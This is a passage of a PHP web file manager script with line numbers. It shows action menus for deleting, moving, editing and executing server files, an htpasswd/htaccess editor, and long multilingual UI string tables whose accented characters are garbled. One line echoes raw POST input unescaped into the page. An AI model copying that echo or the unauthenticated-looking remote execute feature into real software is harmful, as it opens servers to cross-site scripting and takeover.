1215 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1216';
1217
1218 $actions = array();
1219 if (function_exists('symlink')) {
1220 $actions[] = 'create_symlink';
1221 }
1222 if (@is_writable(dirname($file['path']))) {
1223 $actions[] = 'delete';
1224 $actions[] = 'rename';
1225 $actions[] = 'move';
1226 }
1227 if ($file['is_file'] && $file['is_readable']) {
1228 $actions[] = 'copy';
1229 $actions[] = 'download';
1230 if ($file['is_writable']) $actions[] = 'edit';
1231 }
1232 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1233 $actions[] = 'execute';
1234 }
1235
1236 if (sizeof($actions) > 0) {
1237
1238 echo ' <select class="small" name="action' . $i . '" size="1">
1239 <option value="">' . str_repeat(' ', 30) . '</option>
1240';
1241
1242 foreach ($actions as $action) {
1243 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1244 }
1245
1246 echo ' </select>
1247 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
1248';
1249
1250 }
1251
1252 echo ' </td>
1253</tr>
1254';
1255
1256 }
1257
1258 echo '<tr class="listing_footer">
1259 <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
1260 <td colspan="' . ($cols - 1) . '">
1261 <input type="hidden" name="num" value="' . sizeof($list) . '" />
1262 <input type="hidden" name="focus" value="" />
1263 <input type="hidden" name="olddir" value="' . html($directory) . '" />
1264';
1265
1266 $actions = array();
1267 if (@is_writable(dirname($file['path']))) {
1268 $actions[] = 'delete';
1269 $actions[] = 'move';
1270 }
1271 $actions[] = 'copy';
1272
1273 echo ' <select class="small" name="action_all" size="1">
1274 <option value="">' . str_repeat(' ', 30) . '</option>
1275';
1276
1277 foreach ($actions as $action) {
1278 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1279 }
1280
1281 echo ' </select>
1282 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
1283 </td>
1284</tr>
1285';
1286
1287}
1288
1289function directory_choice () {
1290 global $directory, $homedir, $cols, $self;
1291
1292 echo '<tr>
1293 <td colspan="' . $cols . '" id="directory">
1294 <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
1295 <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1296 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
1297 </td>
1298</tr>
1299';
1300
1301}
1302
1303function upload_box () {
1304 global $cols;
1305
1306 echo '<tr>
1307 <td colspan="' . $cols . '" id="upload">
1308 ' . word('file') . ':
1309 <input type="file" name="upload" onfocus="activate(\'other\')" />
1310 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
1311 </td>
1312</tr>
1313';
1314
1315}
1316
1317function create_box () {
1318 global $cols;
1319
1320 echo '<tr>
1321 <td colspan="' . $cols . '" id="create">
1322 <select name="create_type" size="1" onfocus="activate(\'create\')">
1323 <option value="file">' . word('file') . '</option>
1324 <option value="directory">' . word('directory') . '</option>
1325 </select>
1326 <input type="text" name="create_name" onfocus="activate(\'create\')" />
1327 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1328 </td>
1329</tr>
1330';
1331
1332}
1333
1334function edit ($file) {
1335 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1336
1337 html_header();
1338
1339 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1340
1341<form action="' . $self . '" method="post">
1342
1343<table class="dialog">
1344<tr>
1345<td class="dialog">
1346
1347 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1348
1349 if (array_key_exists('content', $_POST)) {
1350 echo $_POST['content'];
1351 } else {
1352 $f = fopen($file, 'r');
1353 while (!feof($f)) {
1354 echo html(fread($f, 8192));
1355 }
1356 fclose($f);
1357 }
1358
1359 if (!empty($_POST['user'])) {
1360 echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
1361 }
1362 if (!empty($_POST['basic_auth'])) {
1363 if ($win) {
1364 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
1365 } else {
1366 $authfile = $directory . $htpasswd;
1367 }
1368 echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
1369 echo 'AuthUserFile "' . html($authfile) . ""\n";
1370 echo 'Require valid-user';
1371 }
1372
1373 echo '</textarea>
1374
1375 <hr />
1376';
1377
1378 if ($apache && basename($file) == $htpasswd) {
1379 echo '
1380 ' . word('user') . ': <input type="text" name="user" />
1381 ' . word('password') . ': <input type="password" name="password" />
1382 <input type="submit" value="' . word('add') . '" />
1383
1384 <hr />
1385';
1386
1387 }
1388
1389 if ($apache && basename($file) == $htaccess) {
1390 echo '
1391 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1392
1393 <hr />
1394';
1395
1396 }
1397
1398 echo '
1399 <input type="hidden" name="action" value="edit" />
1400 <input type="hidden" name="file" value="' . html($file) . '" />
1401 <input type="hidden" name="dir" value="' . html($directory) . '" />
1402 <input type="reset" value="' . word('reset') . '" id="red_button" />
1403 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1404
1405</td>
1406</tr>
1407</table>
1408
1409<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1410
1411</form>
1412
1413';
1414
1415 html_footer();
1416
1417}
1418
1419function spacer () {
1420 global $cols;
1421
1422 echo '<tr>
1423 <td colspan="' . $cols . '" style="height: 1em"></td>
1424</tr>
1425';
1426
1427}
1428
1429function textfieldsize ($content) {
1430
1431 $size = strlen($content) + 5;
1432 if ($size < 30) $size = 30;
1433
1434 return $size;
1435
1436}
1437
1438function request_dump () {
1439
1440 foreach ($_REQUEST as $key => $value) {
1441 echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
1442 }
1443
1444}
1445
1446/* ------------------------------------------------------------------------- */
1447
1448function html ($string) {
1449 global $site_charset;
1450 return htmlentities($string, ENT_COMPAT, $site_charset);
1451}
1452
1453function word ($word) {
1454 global $words, $word_charset;
1455 return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1456}
1457
1458function phrase ($phrase, $arguments) {
1459 global $words;
1460 static $search;
1461
1462 if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1463
1464 for ($i = 0; $i < sizeof($arguments); $i++) {
1465 $arguments[$i] = nl2br(html($arguments[$i]));
1466 }
1467
1468 $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1469
1470 return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1471
1472}
1473
1474function getwords ($lang) {
1475 global $word_charset, $date_format;
1476
1477 switch ($lang) {
1478 case 'de':
1479
1480 $date_format = 'd.m.y H:i:s';
1481 $word_charset = 'ISO-8859-1';
1482
1483 return array(
1484'directory' => 'Verzeichnis',
1485'file' => 'Datei',
1486'filename' => 'Dateiname',
1487
1488'size' => 'Gr��e',
1489'permission' => 'Rechte',
1490'owner' => 'Eigner',
1491'group' => 'Gruppe',
1492'other' => 'Andere',
1493'functions' => 'Funktionen',
1494
1495'read' => 'lesen',
1496'write' => 'schreiben',
1497'execute' => 'ausf�hren',
1498
1499'create_symlink' => 'Symlink erstellen',
1500'delete' => 'l�schen',
1501'rename' => 'umbenennen',
1502'move' => 'verschieben',
1503'copy' => 'kopieren',
1504'edit' => 'editieren',
1505'download' => 'herunterladen',
1506'upload' => 'hochladen',
1507'create' => 'erstellen',
1508'change' => 'wechseln',
1509'save' => 'speichern',
1510'set' => 'setze',
1511'reset' => 'zur�cksetzen',
1512'relative' => 'Pfad zum Ziel relativ',
1513
1514'yes' => 'Ja',
1515'no' => 'Nein',
1516'back' => 'zur�ck',
1517'destination' => 'Ziel',
1518'symlink' => 'Symbolischer Link',
1519'no_output' => 'keine Ausgabe',
1520
1521'user' => 'Benutzername',
1522'password' => 'Kennwort',
1523'add' => 'hinzuf�gen',
1524'add_basic_auth' => 'HTTP-Basic-Auth hinzuf�gen',
1525
1526'uploaded' => '"[%1]" wurde hochgeladen.',
1527'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
1528'already_exists' => '"[%1]" existiert bereits.',
1529'created' => '"[%1]" wurde erstellt.',
1530'not_created' => '"[%1]" konnte nicht erstellt werden.',
1531'really_delete' => 'Sollen folgende Dateien wirklich gel�scht werden?',
1532'deleted' => "Folgende Dateien wurden gel�scht:\n[%1]",
1533'not_deleted' => "Folgende Dateien konnten nicht gel�scht werden:\n[%1]",
1534'rename_file' => 'Benenne Datei um:',
1535'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
1536'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
1537'move_files' => 'Verschieben folgende Dateien:',
1538'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
1539'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
1540'copy_files' => 'Kopiere folgende Dateien:',
1541'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
1542'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
1543'not_edited' => '"[%1]" kann nicht editiert werden.',
1544'executed' => "\"[%1]\" wurde erfolgreich ausgef�hrt:\n{%2}",
1545'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgef�hrt werden:\n{%2}",
1546'saved' => '"[%1]" wurde gespeichert.',
1547'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
1548'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
1549'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
1550'permission_for' => 'Rechte f�r "[%1]":',
1551'permission_set' => 'Die Rechte f�r "[%1]" wurden auf [%2] gesetzt.',
1552'permission_not_set' => 'Die Rechte f�r "[%1]" konnten nicht auf [%2] gesetzt werden.',
1553'not_readable' => '"[%1]" kann nicht gelesen werden.'
1554 );
1555
1556 case 'fr':
1557
1558 $date_format = 'd.m.y H:i:s';
1559 $word_charset = 'ISO-8859-1';
1560
1561 return array(
1562'directory' => 'R�pertoire',
1563'file' => 'Fichier',
1564'filename' => 'Nom fichier',
1565
1566'size' => 'Taille',
1567'permission' => 'Droits',
1568'owner' => 'Propri�taire',
1569'group' => 'Groupe',
1570'other' => 'Autres',
1571'functions' => 'Fonctions',
1572
1573'read' => 'Lire',
1574'write' => 'Ecrire',
1575'execute' => 'Ex�cuter',
1576
1577'create_symlink' => 'Cr�er lien symbolique',
1578'delete' => 'Effacer',
1579'rename' => 'Renommer',
1580'move' => 'D�placer',
1581'copy' => 'Copier',
1582'edit' => 'Ouvrir',
1583'download' => 'T�l�charger sur PC',
1584'upload' => 'T�l�charger sur serveur',
1585'create' => 'Cr�er',
1586'change' => 'Changer',
1587'save' => 'Sauvegarder',
1588'set' => 'Ex�cuter',
1589'reset' => 'R�initialiser',
1590'relative' => 'Relatif',
1591
1592'yes' => 'Oui',
1593'no' => 'Non',
1594'back' => 'Retour',
1595'destination' => 'Destination',
1596'symlink' => 'Lien symbollique',
1597'no_output' => 'Pas de sortie',
1598
1599'user' => 'Utilisateur',
1600'password' => 'Mot de passe',
1601'add' => 'Ajouter',
1602'add_basic_auth' => 'add basic-authentification',
1603
1604'uploaded' => '"[%1]" a �t� t�l�charg� sur le serveur.',
1605'not_uploaded' => '"[%1]" n a pas �t� t�l�charg� sur le serveur.',
1606'already_exists' => '"[%1]" existe d�j�.',
1607'created' => '"[%1]" a �t� cr��.',
1608'not_created' => '"[%1]" n a pas pu �tre cr��.',
1609'really_delete' => 'Effacer le fichier?',
1610'deleted' => "Ces fichiers ont �t� d�tuits:\n[%1]",
1611'not_deleted' => "Ces fichiers n ont pu �tre d�truits:\n[%1]",
1612'rename_file' => 'Renomme fichier:',
1613'renamed' => '"[%1]" a �t� renomm� en "[%2]".',
1614'not_renamed' => '"[%1] n a pas pu �tre renomm� en "[%2]".',
1615'move_files' => 'D�placer ces fichiers:',
1616'moved' => "Ces fichiers ont �t� d�plac�s en \"[%2]\":\n[%1]",
1617'not_moved' => "Ces fichiers n ont pas pu �tre d�plac�s en \"[%2]\":\n[%1]",
1618'copy_files' => 'Copier ces fichiers:',
1619'copied' => "Ces fichiers ont �t� copi�s en \"[%2]\":\n[%1]",
1620'not_copied' => "Ces fichiers n ont pas pu �tre copi�s en \"[%2]\":\n[%1]",
1621'not_edited' => '"[%1]" ne peut �tre ouvert.',
1622'executed' => "\"[%1]\" a �t� brillamment ex�cut� :\n{%2}",
1623'not_executed' => "\"[%1]\" n a pas pu �tre ex�cut�:\n{%2}",
1624'saved' => '"[%1]" a �t� sauvegard�.',
1625'not_saved' => '"[%1]" n a pas pu �tre sauvegard�.',
1626'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a �t� cr�e.',
1627'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu �tre cr��.',
1628'permission_for' => 'Droits de "[%1]":',
1629'permission_set' => 'Droits de "[%1]" ont �t� chang�s en [%2].',
1630'permission_not_set' => 'Droits de "[%1]" n ont pas pu �tre chang�s en[%2].',
1631'not_readable' => '"[%1]" ne peut pas �tre ouvert.'
1632 );
1633
1634 case 'it':
1635
1636 $date_format = 'd-m-Y H:i:s';
1637 $word_charset = 'ISO-8859-1';
1638
1639 return array(
1640'directory' => 'Directory',
1641'file' => 'File',
1642'filename' => 'Nome File',
1643
1644'size' => 'Dimensioni',
1645'permission' => 'Permessi',
1646'owner' => 'Proprietario',
1647'group' => 'Gruppo',
1648'other' => 'Altro',
1649'functions' => 'Funzioni',
1650
1651'read' => 'leggi',
1652'write' => 'scrivi',
1653'execute' => 'esegui',
1654
1655'create_symlink' => 'crea link simbolico',
1656'delete' => 'cancella',
1657'rename' => 'rinomina',
1658'move' => 'sposta',
1659'copy' => 'copia',
1660'edit' => 'modifica',
1661'download' => 'download',
1662'upload' => 'upload',
1663'create' => 'crea',
1664'change' => 'cambia',
1665'save' => 'salva',
1666'set' => 'imposta',
1667'reset' => 'reimposta',
1668'relative' => 'Percorso relativo per la destinazione',
1669
1670'yes' => 'Si',
1671'no' => 'No',
1672'back' => 'indietro',
1673'destination' => 'Destinazione',
1674'symlink' => 'Link simbolico',
1675'no_output' => 'no output',
1676
1677'user' => 'User',
1678'password' => 'Password',
1679'add' => 'aggiungi',
1680'add_basic_auth' => 'aggiungi autenticazione base',
1681
1682'uploaded' => '"[%1]" � stato caricato.',
1683'not_uploaded' => '"[%1]" non � stato caricato.',
1684'already_exists' => '"[%1]" esiste gi�.',
1685'created' => '"[%1]" � stato creato.',
1686'not_created' => '"[%1]" non � stato creato.',
1687'really_delete' => 'Cancello questi file ?',
1688'deleted' => "Questi file sono stati cancellati:\n[%1]",
1689'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
1690'rename_file' => 'File rinominato:',
1691'renamed' => '"[%1]" � stato rinominato in "[%2]".',
1692'not_renamed' => '"[%1] non � stato rinominato in "[%2]".',
1693'move_files' => 'Sposto questi file:',
1694'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
1695'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
1696'copy_files' => 'Copio questi file',
1697'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
1698'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
1699'not_edited' => '"[%1]" non pu� essere modificato.',
1700'executed' => "\"[%1]\" � stato eseguito con successo:\n{%2}",
1701'not_executed' => "\"[%1]\" non � stato eseguito con successo\n{%2}",
1702'saved' => '"[%1]" � stato salvato.',
1703'not_saved' => '"[%1]" non � stato salvato.',
1704'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" � stato creato.',
1705'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non � stato creato.',
1706'permission_for' => 'Permessi di "[%1]":',
1707'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
1708'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
1709'not_readable' => '"[%1]" non pu� essere letto.'
1710 );
1711
1712 case 'nl':
1713
1714 $date_format = 'n/j/y H:i:s';
1715 $word_charset = 'ISO-8859-1';
1716
1717 return array(
1718'directory' => 'Directory',
1719'file' => 'Bestand',
1720'filename' => 'Bestandsnaam',
1721
1722'size' => 'Grootte',
1723'permission' => 'Bevoegdheid',
1724'owner' => 'Eigenaar',
1725'group' => 'Groep',
1726'other' => 'Anderen',
1727'functions' => 'Functies',
1728
1729'read' => 'lezen',
1730'write' => 'schrijven',
1731'execute' => 'uitvoeren',
1732
1733'create_symlink' => 'maak symlink',
1734'delete' => 'verwijderen',
1735'rename' => 'hernoemen',
1736'move' => 'verplaatsen',
1737'copy' => 'kopieren',
1738'edit' => 'bewerken',
1739'download' => 'downloaden',
1740'upload' => 'uploaden',
1741'create' => 'aanmaken',
1742'change' => 'veranderen',
1743'save' => 'opslaan',
1744'set' => 'instellen',
1745'reset' => 'resetten',
1746'relative' => 'Relatief pat naar doel',
1747
1748'yes' => 'Ja',
1749'no' => 'Nee',
1750'back' => 'terug',
1751'destination' => 'Bestemming',
1752'symlink' => 'Symlink',
1753'no_output' => 'geen output',
1754
1755'user' => 'Gebruiker',
1756'password' => 'Wachtwoord',
1757'add' => 'toevoegen',
1758'add_basic_auth' => 'add basic-authentification',
1759
1760'uploaded' => '"[%1]" is verstuurd.',
1761'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
1762'already_exists' => '"[%1]" bestaat al.',
1763'created' => '"[%1]" is aangemaakt.',
1764'not_created' => '"[%1]" kan niet worden aangemaakt.',
1765'really_delete' => 'Deze bestanden verwijderen?',
1766'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
1767'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
1768'rename_file' => 'Bestandsnaam veranderen:',
1769'renamed' => '"[%1]" heet nu "[%2]".',
1770'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
1771'move_files' => 'Verplaats deze bestanden:',
1772'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
1773'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
1774'copy_files' => 'Kopieer deze bestanden:',
1775'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
1776'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
1777'not_edited' => '"[%1]" kan niet worden bewerkt.',
1778'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
1779'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
1780'saved' => '"[%1]" is opgeslagen.',
1781'not_saved' => '"[%1]" is niet opgeslagen.',
1782'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
1783'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
1784'permission_for' => 'Bevoegdheid voor "[%1]":',
1785'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
1786'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
1787'not_readable' => '"[%1]" kan niet worden gelezen.'
1788 );
1789
1790 case 'se':
1791
1792 $date_format = 'n/j/y H:i:s';
1793 $word_charset = 'ISO-8859-1';
1794
1795 return array(
1796'directory' => 'Mapp',
1797'file' => 'Fil',
1798'filename' => 'Filnamn',
1799
1800'size' => 'Storlek',
1801'permission' => 'S�kerhetsniv�',
1802'owner' => '�gare',
1803'group' => 'Grupp',
1804'other' => 'Andra',
1805'functions' => 'Funktioner',
1806
1807'read' => 'L�s',
1808'write' => 'Skriv',
1809'execute' => 'Utf�r',
1810
1811'create_symlink' => 'Skapa symlink',
1812'delete' => 'Radera',
1813'rename' => 'Byt namn',
1814'move' => 'Flytta',
1815'copy' => 'Kopiera',
1816'edit' => '�ndra',
1817'download' => 'Ladda ner',
1818'upload' => 'Ladda upp',
1819'create' => 'Skapa',
1820'change' => '�ndra',
1821'save' => 'Spara',
1822'set' => 'Markera',
1823'reset' => 'T�m',
1824'relative' => 'Relative path to target',
1825
1826'yes' => 'Ja',
1827'no' => 'Nej',
1828'back' => 'Tillbaks',
1829'destination' => 'Destination',
1830'symlink' => 'Symlink',
1831'no_output' => 'no output',
1832
1833'user' => 'Anv�ndare',
1834'password' => 'L�senord',
1835'add' => 'L�gg till',
1836'add_basic_auth' => 'add basic-authentification',
1837
1838'uploaded' => '"[%1]" har laddats upp.',
1839'not_uploaded' => '"[%1]" kunde inte laddas upp.',
1840'already_exists' => '"[%1]" finns redan.',
1841'created' => '"[%1]" har skapats.',
1842'not_created' => '"[%1]" kunde inte skapas.',
1843'really_delete' => 'Radera dessa filer?',
1844'deleted' => "De h�r filerna har raderats:\n[%1]",
1845'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
1846'rename_file' => 'Byt namn p� fil:',
1847'renamed' => '"[%1]" har bytt namn till "[%2]".',
1848'not_renamed' => '"[%1] kunde inte d�pas om till "[%2]".',
1849'move_files' => 'Flytta dessa filer:',
1850'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
1851'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
1852'copy_files' => 'Kopiera dessa filer:',
1853'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
1854'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
1855'not_edited' => '"[%1]" kan inte �ndras.',
1856'executed' => "\"[%1]\" har utf�rts:\n{%2}",
1857'not_executed' => "\"[%1]\" kunde inte utf�ras:\n{%2}",
1858'saved' => '"[%1]" har sparats.',
1859'not_saved' => '"[%1]" kunde inte sparas.',
1860'symlinked' => 'Symlink fr�n "[%2]" till "[%1]" har skapats.',
1861'not_symlinked' => 'Symlink fr�n "[%2]" till "[%1]" kunde inte skapas.',
1862'permission_for' => 'R�ttigheter f�r "[%1]":',
1863'permission_set' => 'R�ttigheter f�r "[%1]" �ndrades till [%2].',
1864'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
1865'not_readable' => '"[%1]" kan inte l�sas.'
1866 );
1867
1868 case 'sp':
1869
1870 $date_format = 'j/n/y H:i:s';
1871 $word_charset = 'ISO-8859-1';
1872
1873 return array(
1874'directory' => 'Directorio',
1875'file' => 'Archivo',
1876'filename' => 'Nombre Archivo',
1877
1878'size' => 'Tama�o',
1879'permission' => 'Permisos',
1880'owner' => 'Propietario',
1881'group' => 'Grupo',
1882'other' => 'Otros',
1883'functions' => 'Funciones',
1884
1885'read' => 'lectura',
1886'write' => 'escritura',
1887'execute' => 'ejecuci�n',
1888
1889'create_symlink' => 'crear enlace',
1890'delete' => 'borrar',
1891'rename' => 'renombrar',
1892'move' => 'mover',
1893'copy' => 'copiar',
1894'edit' => 'editar',
1895'download' => 'bajar',
1896'upload' => 'subir',
1897'create' => 'crear',
1898'change' => 'cambiar',
1899'save' => 'salvar',
1900'set' => 'setear',
1901'reset' => 'resetear',
1902'relative' => 'Path relativo',
1903
1904'yes' => 'Si',
1905'no' => 'No',
1906'back' => 'atr�s',
1907'destination' => 'Destino',
1908'symlink' => 'Enlace',
1909'no_output' => 'sin salida',
1910
1911'user' => 'Usuario',
1912'password' => 'Clave',
1913'add' => 'agregar',
1914'add_basic_auth' => 'agregar autentificaci�n b�sica',
1915
1916'uploaded' => '"[%1]" ha sido subido.',
1917'not_uploaded' => '"[%1]" no pudo ser subido.',
1918'already_exists' => '"[%1]" ya existe.',
1919'created' => '"[%1]" ha sido creado.',
1920'not_created' => '"[%1]" no pudo ser creado.',
1921'really_delete' => '�Borra estos archivos?',
1922'deleted' => "Estos archivos han sido borrados:\n[%1]",
1923'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
1924'rename_file' => 'Renombra archivo:',
1925'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
1926'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
1927'move_files' => 'Mover estos archivos:',
1928'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
1929'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
1930'copy_files' => 'Copiar estos archivos:',
1931'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
1932'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
1933'not_edited' => '"[%1]" no pudo ser editado.',
1934'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
1935'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
1936'saved' => '"[%1]" ha sido salvado.',
1937'not_saved' => '"[%1]" no pudo ser salvado.',
1938'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
1939'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
1940'permission_for' => 'Permisos de "[%1]":',
1941'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
1942'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
1943'not_readable' => '"[%1]" no pudo ser le�do.'
1944 );
1945
1946 case 'dk':
1947
1948 $date_format = 'n/j/y H:i:s';
1949 $word_charset = 'ISO-8859-1';
1950
1951 return array(
1952'directory' => 'Mappe',
1953'file' => 'Fil',
1954'filename' => 'Filnavn',
1955
1956'size' => 'St�rrelse',
1957'permission' => 'Rettighed',
1958'owner' => 'Ejer',
1959'group' => 'Gruppe',
1960'other' => 'Andre',
1961'functions' => 'Funktioner',
1962
1963'read' => 'l�s',
1964'write' => 'skriv',
1965'execute' => 'k�r',
1966
1967'create_symlink' => 'opret symbolsk link',
1968'delete' => 'slet',
1969'rename' => 'omd�b',
1970'move' => 'flyt',
1971'copy' => 'kopier',
1972'edit' => 'rediger',
1973'download' => 'download',
1974'upload' => 'upload',
1975'create' => 'opret',
1976'change' => 'skift',
1977'save' => 'gem',
1978'set' => 's�t',
1979'reset' => 'nulstil',
1980'relative' => 'Relativ sti til valg',
1981
1982'yes' => 'Ja',
1983'no' => 'Nej',
1984'back' => 'tilbage',
1985'destination' => 'Distination',
1986'symlink' => 'Symbolsk link',
1987'no_output' => 'ingen resultat',
1988
1989'user' => 'Bruger',
1990'password' => 'Kodeord',
1991'add' => 'tilf�j',
1992'add_basic_auth' => 'tilf�j grundliggende rettigheder',
1993
1994'uploaded' => '"[%1]" er blevet uploaded.',
1995'not_uploaded' => '"[%1]" kunnu ikke uploades.',
1996'already_exists' => '"[%1]" findes allerede.',
1997'created' => '"[%1]" er blevet oprettet.',
1998'not_created' => '"[%1]" kunne ikke oprettes.',
1999'really_delete' => 'Slet disse filer?',
2000'deleted' => "Disse filer er blevet slettet:\n[%1]",
2001'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
2002'rename_file' => 'Omd�d fil:',
2003'renamed' => '"[%1]" er blevet omd�bt til "[%2]".',
2004'not_renamed' => '"[%1] kunne ikke omd�bes til "[%2]".',
2005'move_files' => 'Flyt disse filer:',
2006'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
2007'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
2008'copy_files' => 'Kopier disse filer:',
2009'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
2010'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
2011'not_edited' => '"[%1]" kan ikke redigeres.',
2012'executed' => "\"[%1]\" er blevet k�rt korrekt:\n{%2}",
2013'not_executed' => "\"[%1]\" kan ikke k�res korrekt:\n{%2}",
2014'saved' => '"[%1]" er blevet gemt.',
2015'not_saved' => '"[%1]" kunne ikke gemmes.',
2016'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
2017'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
2018'permission_for' => 'Rettigheder for "[%1]":',
2019'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
2020'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke s�ttes til [%2].',
2021'not_readable' => '"[%1]" Kan ikke l�ses.'
2022 );
2023
2024 case 'tr':
2025
2026 $date_format = 'n/j/y H:i:s';
2027 $word_charset = 'ISO-8859-1';
2028
2029 return array(
2030'directory' => 'Klas�r',
2031'file' => 'Dosya',
2032'filename' => 'dosya adi',
2033
2034'size' => 'boyutu',
2035'permission' => 'Izin',
2036'owner' => 'sahib',
2037'group' => 'Grup',
2038'other' => 'Digerleri',
2039'functions' => 'Fonksiyonlar',
2040
2041'read' => 'oku',
2042'write' => 'yaz',
2043'execute' => '�alistir',
2044
2045'create_symlink' => 'yarat symlink',
2046'delete' => 'sil',
2047'rename' => 'ad degistir',
2048'move' => 'tasi',
2049'copy' => 'kopyala',
2050'edit' => 'd�zenle',
2051'download' => 'indir',
2052'upload' => 'y�kle',
2053'create' => 'create',
2054'change' => 'degistir',
2055'save' => 'kaydet',
2056'set' => 'ayar',
2057'reset' => 'sifirla',
2058'relative' => 'Hedef yola g�re',
2059
2060'yes' => 'Evet',
2061'no' => 'Hayir',
2062'back' => 'Geri',
2063'destination' => 'Hedef',
2064'symlink' => 'K�sa yol',
2065'no_output' => '�ikti yok',
2066
2067'user' => 'Kullanici',
2068'password' => 'Sifre',
2069'add' => 'ekle',
2070'add_basic_auth' => 'ekle basit-authentification',
2071
2072'uploaded' => '"[%1]" y�klendi.',
